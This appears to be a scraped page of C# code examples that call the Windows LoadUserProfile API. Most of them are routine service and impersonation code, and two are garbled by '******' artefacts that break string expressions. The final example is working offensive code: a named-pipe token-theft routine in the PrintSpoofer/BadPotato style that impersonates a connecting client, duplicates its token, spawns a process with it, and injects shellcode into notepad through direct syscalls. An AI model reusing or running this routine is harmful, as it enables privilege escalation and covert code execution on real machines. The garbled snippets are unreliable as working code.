Example #1
0
 public void UnloadProfile()
 {
     if (0 != _profile.dwSize)
     {
         UnloadUserProfile(_impersonate, ref _profile);
         _profile = new PROFILEINFO();
     }
 }
Example #2
0
 private bool LoadUserProfileWorker(int userSessionId)
 {
     // When a user logs on interactively, the system automatically loads the
     // user's profile. If a service or an application impersonates a user,
     // the system does not load the user's profile. Therefore, the service or
     // application should load the user's profile with LoadUserProfile.
     profileInfo            = new PROFILEINFO();
     profileInfo.dwSize     = Marshal.SizeOf(profileInfo);
     profileInfo.lpUserName = UserSessionHelper.GetUserSessionQueryInfo(userSessionId,
                                                                        WTS_INFO_CLASS.WTSUserName);
     return(LoadUserProfile(userTokenHandle, ref profileInfo));
 }
Example #3
0
        public static UserProfile Load(AccessToken token)
        {
            var userProfile = new PROFILEINFO
            {
                lpUserName = token.Username
            };

            userProfile.dwSize = Marshal.SizeOf(userProfile);

            // See https://msdn.microsoft.com/en-us/library/windows/desktop/bb762281(v=vs.85).aspx
            Win32Helper.Invoke(() => LoadUserProfile(token.Handle, ref userProfile),
                               $"Failed to load user profile for user '{token.Username}'");

            return(new UserProfile(token, new SafeRegistryHandle(userProfile.hProfile, false)));
        }
        public void UpdateRegistrySettings(CommandSettings command, string domainName, string userName, string logonPassword)
        {
            IntPtr      userHandler = IntPtr.Zero;
            PROFILEINFO userProfile = new PROFILEINFO();

            try
            {
                string securityId = _windowsServiceHelper.GetSecurityId(domainName, userName);
                if (string.IsNullOrEmpty(securityId))
                {
                    Trace.Error($"Could not find the Security ID for the user '{domainName}\\{userName}'. AutoLogon will not be configured.");
                    throw new Exception(StringUtil.Loc("InvalidSIDForUser", domainName, userName));
                }

                //check if the registry exists for the user, if not load the user profile
                if (!_registryManager.SubKeyExists(RegistryHive.Users, securityId))
                {
                    userProfile.dwSize     = Marshal.SizeOf(typeof(PROFILEINFO));
                    userProfile.lpUserName = userName;

                    _windowsServiceHelper.LoadUserProfile(domainName, userName, logonPassword, out userHandler, out userProfile);
                }

                if (!_registryManager.SubKeyExists(RegistryHive.Users, securityId))
                {
                    throw new InvalidOperationException(StringUtil.Loc("ProfileLoadFailure", domainName, userName));
                }

                ShowAutoLogonWarningIfAlreadyEnabled(domainName, userName);

                //machine specific settings, i.e., autologon
                UpdateMachineSpecificRegistrySettings(domainName, userName);

                //user specific, i.e., screensaver and startup process
                UpdateUserSpecificRegistrySettings(command, securityId);
            }
            finally
            {
                if (userHandler != IntPtr.Zero)
                {
                    _windowsServiceHelper.UnloadUserProfile(userHandler, userProfile);
                }
            }
        }
Example #5
0
        public void CreateProfileTest()
        {
            var curSid = SafePSID.Current;
            var sb     = new StringBuilder(260);

            Assert.That(CreateProfile(curSid.ToString("D"), curSid.ToString("N"), sb, (uint)sb.Length), ResultIs.Failure);

            Assert.That(LogonUser(localAcct, ".", localAcctPwd, LogonUserType.LOGON32_LOGON_INTERACTIVE, LogonUserProvider.LOGON32_PROVIDER_DEFAULT, out var hTok), ResultIs.Successful);
            using var id = new System.Security.Principal.WindowsIdentity(hTok.DangerousGetHandle());
            try
            {
                Assert.That(CreateProfile(id.User.Value, localAcct, sb, (uint)sb.Capacity), ResultIs.Successful);

                var pi = new PROFILEINFO(localAcct);
                Assert.That(LoadUserProfile(hTok, ref pi), ResultIs.Successful);
                Assert.That(UnloadUserProfile(hTok, pi.hProfile), ResultIs.Successful);
            }
            finally
            {
                Assert.That(DeleteProfile(id.User.Value), ResultIs.Successful);
                hTok.Dispose();
            }
        }
 internal static extern bool LoadUserProfileW(
     IntPtr hToken,
     ref PROFILEINFO lpProfileInfo);
 static extern bool LoadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
        public static async Task <ActionResponse> ExecuteAsync(ActionDelegate action, ActionRequest request)
        {
            var domain   = NTHelper.CleanDomain(request.DataStore.GetValue("ImpersonationDomain"));
            var userName = NTHelper.CleanUsername(request.DataStore.GetValue("ImpersonationUsername"));
            var password = request.DataStore.GetValue("ImpersonationPassword");

            string[] userDomain = WindowsIdentity.GetCurrent().Name.Split('\\');
            if (userDomain.Length != 2)
            {
                throw new InvalidOperationException("Current user identity doesn't contain a domain name");
            }

            // Just call the method if it's for the same user
            if (userDomain[0].EqualsIgnoreCase(domain) && userDomain[1].EqualsIgnoreCase(userName))
            {
                return(await action(request));
            }

            IntPtr      logonToken  = IntPtr.Zero;
            PROFILEINFO profileInfo = new PROFILEINFO();

            profileInfo.dwSize     = Marshal.SizeOf(profileInfo);
            profileInfo.dwFlags    = 1; //PI_NOUI
            profileInfo.lpUserName = userName;
            bool loadProfileResult = false;

            try
            {
                bool logonResult = LogonUser(userName, domain, password, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, out logonToken);

                if (!logonResult)
                {
                    return(new ActionResponse(ActionStatus.Failure, null, new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()), DefaultErrorCodes.ImpersonationFailed));
                }

                loadProfileResult = LoadUserProfile(logonToken, ref profileInfo);
                if (!loadProfileResult)
                {
                    return(new ActionResponse(ActionStatus.Failure, null, new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()), DefaultErrorCodes.ImpersonationFailed));
                }

                // Use the token handle returned by LogonUser.
                using (WindowsIdentity newWindowsIdentity = new WindowsIdentity(logonToken))
                {
                    using (WindowsImpersonationContext impersonatedUser = newWindowsIdentity.Impersonate())
                    {
                        return(await action(request));
                    }
                }
            }
            finally
            {
                if (loadProfileResult)
                {
                    UnloadUserProfile(logonToken, profileInfo.hProfile);
                }

                if (logonToken != IntPtr.Zero)
                {
                    CloseHandle(logonToken);
                }
            }
        }
Example #9
0
        /// <summary>
        /// Runs a command.
        /// </summary>
        /// <param name="commandFilePath">The command file path.</param>
        /// <param name="commandArguments">The command arguments.</param>
        /// <param name="workingDirectory">The working directory.</param>
        /// <param name="waitForExit">if set to <c>true</c> wait for exit.</param>
        /// <returns>The launched process.</returns>
        /// <exception cref="Exception">Create Process failed.</exception>
        /// <exception cref="Win32Exception">Creation of the process failed.</exception>
        public Process RunCommand(string commandFilePath, string commandArguments, string workingDirectory, bool waitForExit)
        {
            IntPtr token      = new IntPtr(0);
            IntPtr dupedToken = new IntPtr(0);
            bool   ret;

            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

            sa.bInheritHandle       = false;
            sa.Length               = Marshal.SizeOf(sa);
            sa.lpSecurityDescriptor = (IntPtr)0;

            token = WindowsIdentity.GetCurrent().Token;

            const int SecurityImpersonation = 2;
            const int TokenType             = 1;

            ret = NativeMethods.DuplicateTokenEx(token, (int)TokenAccessRights.AssignPrimary | (int)TokenAccessRights.Duplicate | (int)TokenAccessRights.Query, ref sa, SecurityImpersonation, TokenType, ref dupedToken);

            if (ret == false)
            {
                //NativeMethods.CloseHandle(token);
                NativeMethods.CloseHandle(dupedToken);

                throw new Exception(Marshal.GetLastWin32Error().ToString());
            }

            // Load Profile
            PROFILEINFO pri = new PROFILEINFO();

            pri.dwSize     = Marshal.SizeOf(pri);
            pri.lpUserName = _userName;
            pri.dwFlags    = 1;
            if (!NativeMethods.LoadUserProfile(dupedToken, ref pri) && pri.hProfile == IntPtr.Zero)
            {
                NativeMethods.CloseHandle(dupedToken);
                throw new Exception(Marshal.GetLastWin32Error().ToString());
            }

            // Process Information
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            // Startup Information
            STARTUPINFO si = new STARTUPINFO();

            si.cb = Marshal.SizeOf(si);

            //if this member is NULL, the new process inherits the desktop
            //and window station of its parent process. If this member is
            //an empty string, the process does not inherit the desktop and
            //window station of its parent process; instead, the system
            //determines if a new desktop and window station need to be created.
            //If the impersonated user already has a desktop, the system uses the
            //existing desktop.
            si.lpDesktop = null;
            //si.lpDesktop = "";

            //si.lpDesktop = @"WinSta0\Default"; //Modify as needed
            //si.dwFlags = (uint)STARTF.STARTF_USESHOWWINDOW | (uint)STARTF.STARTF_FORCEONFEEDBACK;
            //si.wShowWindow = (short)ShowWindowCommands.SW_HIDE;

            IntPtr environmentBlock = IntPtr.Zero;

            try
            {
                ret = NativeMethods.CreateEnvironmentBlock(ref environmentBlock, token, false);
                if (ret)
                {
                    ret = NativeMethods.CreateProcessAsUser(dupedToken, commandFilePath, commandArguments, ref sa, ref sa, false, (int)CREATE_PROCESS_FLAGS.CREATE_UNICODE_ENVIRONMENT, environmentBlock, workingDirectory, ref si, out pi);
                }
            }
            finally
            {
                if (environmentBlock != IntPtr.Zero)
                {
                    NativeMethods.DestroyEnvironmentBlock(environmentBlock);
                }
            }

            Process p = null;

            if (!ret)
            {
                throw (new Win32Exception("Creation of the process failed with " + Marshal.GetLastWin32Error()));
            }
            else
            {
                try
                {
                    p = Process.GetProcessById((int)pi.dwProcessId);
                    if (waitForExit)
                    {
                        p.WaitForExit();
                    }
                }
                catch
                {
                }
                NativeMethods.CloseHandle(pi.hProcess);
                NativeMethods.CloseHandle(pi.hThread);
            }

            NativeMethods.UnloadUserProfile(token, pri.hProfile);
            //NativeMethods.CloseHandle(token);
            ret = NativeMethods.CloseHandle(dupedToken);
            if (ret == false)
            {
                throw (new Exception(Marshal.GetLastWin32Error().ToString()));
            }

            return(p);
        }
Example #10
0
        /*
         *  All the magic is in the call to WTSQueryUserToken, it saves you changing DACLs,
         *  process tokens, pulling the SID, manipulating the Windows Station and Desktop
         *  (and its DACLs) - if you don't know what those things are, you're lucky and should
         *  be on your knees thanking God at this moment.
         *
         *  DEV NOTE:   This method currently ASSumes that it should impersonate the user
         *              who is logged into session 1 (if more than one user is logged in, each
         *              user will have a session of their own which means that if user switching
         *              is going on, this method could start a process whose UI shows up in
         *              the session of the user who is not actually using the machine at this
         *              moment.)
         *
         *  DEV NOTE 2: If the process being started is a binary which decides, based upon
         *              the user whose session it is being created in, to relaunch with a
         *              different integrity level (such as Internet Explorer), the process
         *              id will change immediately and the Process Manager will think
         *              that the process has died (because in actuality the process it
         *              launched DID in fact die only that it was due to self-termination)
         *              This means beware of using this service to startup such applications
         *              although it can connect to them to alarm in case of failure, just
         *              make sure you don't configure it to restart it or you'll get non
         *              stop process creation
         */
        static public int CreateUIProcessForServiceRunningAsLocalSystem(string in_strTarget, string in_strArguments)
        {
            PROCESS_INFORMATION l_oProcessInformation = new PROCESS_INFORMATION();
            SECURITY_ATTRIBUTES l_oSecurityAttributes = new SECURITY_ATTRIBUTES();
            STARTUPINFO         l_oStartupInfo        = new STARTUPINFO();
            PROFILEINFO         l_oProfileInfo        = new PROFILEINFO();
            IntPtr l_ptrUserToken         = new IntPtr(0);
            uint   l_nActiveUserSessionId = 0xFFFFFFFF;
            string l_strActiveUserName    = "";
            int    l_nProcessID           = -1;
            IntPtr l_ptrBuffer            = IntPtr.Zero;
            uint   l_nBytes = 0;

            try
            {
                //The currently active user is running what session?
                l_nActiveUserSessionId = WTSGetActiveConsoleSessionId();
                if (l_nActiveUserSessionId == 0xFFFFFFFF)
                {
                    throw new Exception("ProcessUtilities" + "->" +
                                        MethodInfo.GetCurrentMethod().Name + "->" +
                                        "The call to WTSGetActiveConsoleSessionId failed,  GetLastError returns: " +
                                        Marshal.GetLastWin32Error().ToString());
                }

                if (false == WTSQuerySessionInformation(IntPtr.Zero,
                                                        (int)l_nActiveUserSessionId, WTS_INFO_CLASS.WTSUserName,
                                                        out l_ptrBuffer, out l_nBytes))
                {
                    int l_nLastError = Marshal.GetLastWin32Error();
                    //On earlier operating systems from Vista, when no one is logged in, you get RPC_S_INVALID_BINDING which is ok, we just won't impersonate
                    if (l_nLastError != RPC_S_INVALID_BINDING)
                    {
                        throw new Exception("ProcessUtilities" + "->" +
                                            MethodInfo.GetCurrentMethod().Name + "->" +
                                            "The call to WTSQuerySessionInformation failed,  GetLastError returns: " +
                                            Marshal.GetLastWin32Error().ToString());
                    }
                    //No one logged in so let's just do this the simple way
                    return(SimpleProcessStart(in_strTarget, in_strArguments));
                }

                l_strActiveUserName = Marshal.PtrToStringAnsi(l_ptrBuffer);
                WTSFreeMemory(l_ptrBuffer);

                //We are supposedly running as a service so we're going to be running in session 0 so get a user token from the active user session
                if (false == WTSQueryUserToken((uint)l_nActiveUserSessionId, out l_ptrUserToken))
                {
                    int l_nLastError = Marshal.GetLastWin32Error();
                    //Remember, sometimes nobody is logged in (especially when we're set to Automatically startup) you should get error code 1008 (no user token available)
                    if (ERROR_NO_TOKEN != l_nLastError)
                    {
                        //Ensure we're running under the local system account
                        WindowsIdentity l_oIdentity = System.Security.Principal.WindowsIdentity.GetCurrent();
                        if ("NT AUTHORITY\\SYSTEM" != l_oIdentity.Name)
                        {
                            throw new Exception("ProcessUtilities" + "->" +
                                                MethodInfo.GetCurrentMethod().Name + "->" +
                                                "The call to WTSQueryUserToken failed and querying the process' account identity results in an identity which does not match 'NT AUTHORITY\\SYSTEM' but instead returns the name:" +
                                                l_oIdentity.Name + "  GetLastError returns: " +
                                                l_nLastError.ToString());
                        }
                        throw new Exception("ProcessUtilities" + "->" +
                                            MethodInfo.GetCurrentMethod().Name + "->" +
                                            "The call to WTSQueryUserToken failed, GetLastError returns: " +
                                            l_nLastError.ToString());
                    }
                    //No one logged in so let's just do this the simple way
                    return(SimpleProcessStart(in_strTarget, in_strArguments));
                }

                //Create an appropriate environment block for this user token (if we have one)
                IntPtr l_ptrEnvironment = IntPtr.Zero;
                Debug.Assert(l_ptrUserToken != IntPtr.Zero);
                if (false == CreateEnvironmentBlock(out l_ptrEnvironment, l_ptrUserToken, false))
                {
                    throw new Exception("ProcessUtilities" + "->" +
                                        MethodInfo.GetCurrentMethod().Name + "->" +
                                        "The call to CreateEnvironmentBlock failed, GetLastError returns: " +
                                        Marshal.GetLastWin32Error().ToString());
                }
                l_oSecurityAttributes.Length = Marshal.SizeOf(l_oSecurityAttributes);
                l_oStartupInfo.cb            = Marshal.SizeOf(l_oStartupInfo);

                //DO NOT set this to "winsta0\\default" (even though many online resources say to do so)
                l_oStartupInfo.lpDesktop  = String.Empty;
                l_oProfileInfo.dwSize     = Marshal.SizeOf(l_oProfileInfo);
                l_oProfileInfo.lpUserName = l_strActiveUserName;

                //Remember, sometimes nobody is logged in (especially when we're set to Automatically startup)
                if (false == LoadUserProfile(l_ptrUserToken, ref l_oProfileInfo))
                {
                    throw new Exception("ProcessUtilities" + "->" +
                                        MethodInfo.GetCurrentMethod().Name + "->" +
                                        "The call to LoadUserProfile failed, GetLastError returns: " +
                                        Marshal.GetLastWin32Error().ToString());
                }

                if (false == CreateProcessAsUser(l_ptrUserToken, in_strTarget, in_strTarget + " " + in_strArguments, ref l_oSecurityAttributes, ref l_oSecurityAttributes, false, CreationFlags.CREATE_UNICODE_ENVIRONMENT, l_ptrEnvironment, null, ref l_oStartupInfo, ref l_oProcessInformation))
                {
                    //System.Diagnostics.EventLog.WriteEntry( "CreateProcessAsUser FAILED", Marshal.GetLastWin32Error().ToString() );
                    throw new Exception("ProcessUtilities" + "->" +
                                        MethodInfo.GetCurrentMethod().Name + "->" +
                                        "The call to CreateProcessAsUser failed, GetLastError returns: " +
                                        Marshal.GetLastWin32Error().ToString());
                }
                l_nProcessID = l_oProcessInformation.dwProcessID;
            }
            catch (Exception l_oException)
            {
                throw new Exception("ProcessUtilities" + "->" +
                                    MethodInfo.GetCurrentMethod().Name + "->" +
                                    "An unhandled exception was caught spawning the process, the exception was: " +
                                    l_oException.Message);
            }
            finally
            {
                if (l_oProcessInformation.hProcess != IntPtr.Zero)
                {
                    CloseHandle(l_oProcessInformation.hProcess);
                }
                if (l_oProcessInformation.hThread != IntPtr.Zero)
                {
                    CloseHandle(l_oProcessInformation.hThread);
                }
            }
            return(l_nProcessID);
        }
Example #11
0
        public static int RunProcess(string userName, string password,
                                      string domain, string cmd,
                                      string arguments,
                                      bool loadUserProfile = true,
                                      int logonType = LOGON32_LOGON_BATCH)
        {
            bool retValue;
            IntPtr phToken = IntPtr.Zero;
            IntPtr phTokenDup = IntPtr.Zero;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            PROFILEINFO pi = new PROFILEINFO();

            try
            {
                retValue = LogonUser(userName, domain, password,
                                     logonType,
                                     LOGON32_PROVIDER_DEFAULT,
                                     out phToken);
                if (!retValue)
                    throw new Exception("Failed to logon as user: "******"Failed to duplicate token: " + GetLastError());

                STARTUPINFO sInfo = new STARTUPINFO();
                sInfo.lpDesktop = "";

                if (loadUserProfile)
                {
                    pi.dwSize = Marshal.SizeOf(pi);
                    pi.dwFlags = PI_NOUI;
                    pi.lpUserName = userName;

                    retValue = LoadUserProfile(phTokenDup, ref pi);
                    if (!retValue)
                        throw new Exception("Failed to get user profile: " + GetLastError());
                }

                retValue = CreateProcessAsUser(phTokenDup, cmd, arguments,
                                               ref sa, ref sa, false, 0,
                                               IntPtr.Zero, null,
                                               ref sInfo, out pInfo);
                if (!retValue)
                    throw new Exception("Failed to create process as user: "******"Process returned exit status: " + GetLastError());

                int exitCode;
                retValue = GetExitCodeProcess(pInfo.hProcess, out exitCode);
                if (!retValue)
                    throw new Exception("Failed to get exit code status" + GetLastError());

                return exitCode;
            }
            finally
            {
                if (pi.hProfile != IntPtr.Zero)
                    UnloadUserProfile(phTokenDup, pi.hProfile);
                if (phToken != IntPtr.Zero)
                    CloseHandle(phToken);
                if (phTokenDup != IntPtr.Zero)
                    CloseHandle(phTokenDup);
                if (pInfo.hProcess != IntPtr.Zero)
                    CloseHandle(pInfo.hProcess);
            }
        }
Example #12
0
        public static int RunProcess(string userName, string password,
                                     string domain, string cmd,
                                     string arguments,
                                     bool loadUserProfile = true,
                                     int logonType        = LOGON32_LOGON_BATCH)
        {
            bool retValue;

            IntPtr phToken            = IntPtr.Zero;
            IntPtr phTokenDup         = IntPtr.Zero;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            PROFILEINFO         pi    = new PROFILEINFO();

            try
            {
                retValue = LogonUser(userName, domain, password,
                                     logonType,
                                     LOGON32_PROVIDER_DEFAULT,
                                     out phToken);
                if (!retValue)
                {
                    throw new Exception("Failed to logon as user: "******"Failed to duplicate token: " + GetLastError());
                }

                STARTUPINFO sInfo = new STARTUPINFO();
                sInfo.lpDesktop = "";

                if (loadUserProfile)
                {
                    pi.dwSize     = Marshal.SizeOf(pi);
                    pi.dwFlags    = PI_NOUI;
                    pi.lpUserName = userName;

                    retValue = LoadUserProfile(phTokenDup, ref pi);
                    if (!retValue)
                    {
                        throw new Exception("Failed to get user profile: " + GetLastError());
                    }
                }

                retValue = CreateProcessAsUser(phTokenDup, cmd, arguments,
                                               ref sa, ref sa, false, 0,
                                               IntPtr.Zero, null,
                                               ref sInfo, out pInfo);
                if (!retValue)
                {
                    throw new Exception("Failed to create process as user: "******"Process returned exit status: " + GetLastError());
                }

                int exitCode;
                retValue = GetExitCodeProcess(pInfo.hProcess, out exitCode);
                if (!retValue)
                {
                    throw new Exception("Failed to get exit code status" + GetLastError());
                }

                return(exitCode);
            }
            finally
            {
                if (pi.hProfile != IntPtr.Zero)
                {
                    UnloadUserProfile(phTokenDup, pi.hProfile);
                }
                if (phToken != IntPtr.Zero)
                {
                    CloseHandle(phToken);
                }
                if (phTokenDup != IntPtr.Zero)
                {
                    CloseHandle(phTokenDup);
                }
                if (pInfo.hProcess != IntPtr.Zero)
                {
                    CloseHandle(pInfo.hProcess);
                }
            }
        }
Example #13
0
 private static extern bool UnloadUserProfile(IntPtr hToken, ref PROFILEINFO lpProfileInfo);
 public static extern bool LoadUserProfile(
     IntPtr hToken,
     ref PROFILEINFO lpProfileInfo);
Example #15
0
 static extern bool LoadUserProfile(SafeAccessTokenHandle hToken, ref PROFILEINFO lpProfileInfo);
Example #16
0
 public static extern BOOL LoadUserProfile(
     HANDLE hToken,                           // user token
     [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)]
     ref PROFILEINFO lpProfileInfo            // profile
     );
        public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes)
        {
            // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs

            string pipename = PipeName;
            string binary   = Binary;

            SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();

            // Create our named pipe
            pipename = string.Format("\\\\.\\pipe\\{0}", pipename);
            Console.WriteLine("Create Named Pipe: " + pipename);
            ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero);

            IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);

            if (hPipe != IntPtr.Zero)
            {
                // Connect to our named pipe and wait for another client to connect

                bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);

                if (result)
                {
                    Console.WriteLine("Connect success!");
                }
                else
                {
                    Console.WriteLine("Connect fail!");
                    return;
                }

                // Impersonate the token of the incoming connection
                result = ImpersonateNamedPipeClient(hPipe);
                if (result)
                {
                    Console.WriteLine("Successfully impersonated client!");
                }
                else
                {
                    Console.WriteLine("Impersonation failed!");
                    return;
                }

                // Open a handle on the impersonated token
                IntPtr tokenHandle;
                result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);

                if (result)
                {
                    Console.WriteLine("OpenThreadToken succeeded!");
                }
                else
                {
                    Console.WriteLine("OpenThreadToken failed!");
                    return;
                }

                // Duplicate the stolen token
                IntPtr sysToken = IntPtr.Zero;
                DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);

                if (result)
                {
                    Console.WriteLine("DuplicateTokenEx succeeded!");
                }
                else
                {
                    Console.WriteLine("DuplicateTokenEx failed!");
                    return;
                }

                // Get the impersonated identity and revert to self to ensure we have impersonation privs
                String name = WindowsIdentity.GetCurrent().Name;
                Console.WriteLine($"Impersonated user is: {name}.");

                if (shellcodebytes != null)
                {
                    RevertToSelf();

                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();
                    sInfo.cb = Marshal.SizeOf(sInfo);

                    binary = @"C:\windows\system32\notepad.exe";

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!");

                    int ProcID = ProcByName("notepad");

                    var shellcode = shellcodebytes;

                    // NtOpenProcess
                    IntPtr        stub          = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess");
                    NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess));

                    IntPtr            hProcess = IntPtr.Zero;
                    OBJECT_ATTRIBUTES oa       = new OBJECT_ATTRIBUTES();

                    CLIENT_ID ci = new CLIENT_ID
                    {
                        UniqueProcess = (IntPtr)(ProcID)
                    };

                    SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult;

                    statusresult = ntOpenProcess(
                        ref hProcess,
                        0x001F0FFF,
                        ref oa,
                        ref ci);

                    // NtAllocateVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory");
                    NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory));

                    IntPtr baseAddress = IntPtr.Zero;
                    IntPtr regionSize  = (IntPtr)shellcodebytes.Length;

                    statusresult = ntAllocateVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        IntPtr.Zero,
                        ref regionSize,
                        0x1000 | 0x2000,
                        0x04);

                    // NtWriteVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory");
                    NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory));

                    var buffer = Marshal.AllocHGlobal(shellcodebytes.Length);
                    Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length);

                    uint bytesWritten = 0;

                    statusresult = ntWriteVirtualMemory(
                        hProcess,
                        baseAddress,
                        buffer,
                        (uint)shellcodebytes.Length,
                        ref bytesWritten);

                    // NtProtectVirtualMemory
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory");
                    NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory));

                    uint oldProtect = 0;

                    statusresult = ntProtectVirtualMemory(
                        hProcess,
                        ref baseAddress,
                        ref regionSize,
                        0x20,
                        ref oldProtect);

                    // NtCreateThreadEx
                    stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx");
                    NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx));

                    IntPtr hThread = IntPtr.Zero;

                    statusresult = ntCreateThreadEx(
                        out hThread,
                        SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
                        IntPtr.Zero,
                        hProcess,
                        baseAddress,
                        IntPtr.Zero,
                        false,
                        0,
                        0,
                        0,
                        IntPtr.Zero);
                }
                else
                {
                    // Only testing purpose to fake an interactive logon somehow
                    PROFILEINFO profInfo           = new PROFILEINFO();
                    bool        loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo);
                    if (loadProfileSuccess)
                    {
                        Console.WriteLine("LoadUserProfile success!");
                    }
                    else
                    {
                        Console.WriteLine("LoadUserProfile failed!");
                    }

                    RevertToSelf();

                    // Spawn a new process with the duplicated token, a desktop session, and the created profile
                    PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
                    STARTUPINFO         sInfo = new STARTUPINFO();

                    sInfo.cb = Marshal.SizeOf(sInfo);

                    bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo);
                    Console.WriteLine($"Executed '{binary}' with impersonated token!");
                }
            }
        }